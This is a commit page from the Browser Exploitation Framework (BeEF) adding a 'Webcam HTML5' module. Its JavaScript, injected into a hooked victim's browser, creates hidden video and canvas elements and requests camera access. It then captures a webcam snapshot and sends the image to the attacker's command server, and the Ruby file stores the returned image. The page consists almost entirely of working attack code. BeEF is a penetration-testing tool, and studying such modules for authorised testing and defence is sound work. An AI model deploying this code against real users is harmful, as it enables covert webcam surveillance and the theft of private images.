#882. New HTML5 WebRTC Webcam Module
This commit is contained in:
50
modules/browser/webcam_html5/command.js
Normal file
50
modules/browser/webcam_html5/command.js
Normal file
@@ -0,0 +1,50 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
|
||||
|
||||
beef.execute(function() {
|
||||
var vid_id = beef.dom.generateID();
|
||||
var can_id = beef.dom.generateID();
|
||||
var vid_el = beef.dom.createElement('video',{'id':vid_id,'style':'display:none;','autoplay':'true'});
|
||||
var can_el = beef.dom.createElement('canvas',{'id':can_id,'style':'display:none;','width':'640','height':'480'});
|
||||
$j('body').append(vid_el);
|
||||
$j('body').append(can_el);
|
||||
|
||||
var ctx = can_el.getContext('2d');
|
||||
|
||||
var localMediaStream = null;
|
||||
|
||||
var cap = function() {
|
||||
if (localMediaStream) {
|
||||
ctx.drawImage(vid_el,0,0);
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'image='+can_el.toDataURL('image/png'));
|
||||
} else {
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=something went wrong');
|
||||
}
|
||||
}
|
||||
|
||||
window.URL = window.URL || window.webkitURL;
|
||||
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
|
||||
|
||||
navigator.getUserMedia({video:true},function(stream) {
|
||||
vid_el.src = window.URL.createObjectURL(stream);
|
||||
localMediaStream = stream;
|
||||
setTimeout(cap,2000);
|
||||
|
||||
}, function(err) {
|
||||
beef.net.send("<%= @command_url %>",<%= @command_id %>, 'result=getUserMedia call failed');
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
});
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
16
modules/browser/webcam_html5/config.yaml
Normal file
16
modules/browser/webcam_html5/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
webcam_html5:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Webcam HTML5"
|
||||
description: "This module will leverage HTML5s WebRTC to capture webcam images. Only tested in Chrome, and it will display a dialog to ask if the user wants to enable their webcam."
|
||||
authors: ["xntrik"]
|
||||
target:
|
||||
user_notify: ["C"]
|
||||
unknown: ["All"]
|
||||
16
modules/browser/webcam_html5/module.rb
Normal file
16
modules/browser/webcam_html5/module.rb
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'base64'
|
||||
class Webcam_html5 < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content["result"] = @datastore["result"] if not @datastore["result"].nil?
|
||||
content["image"] = @datastore["image"] if not @datastore["image"].nil?
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user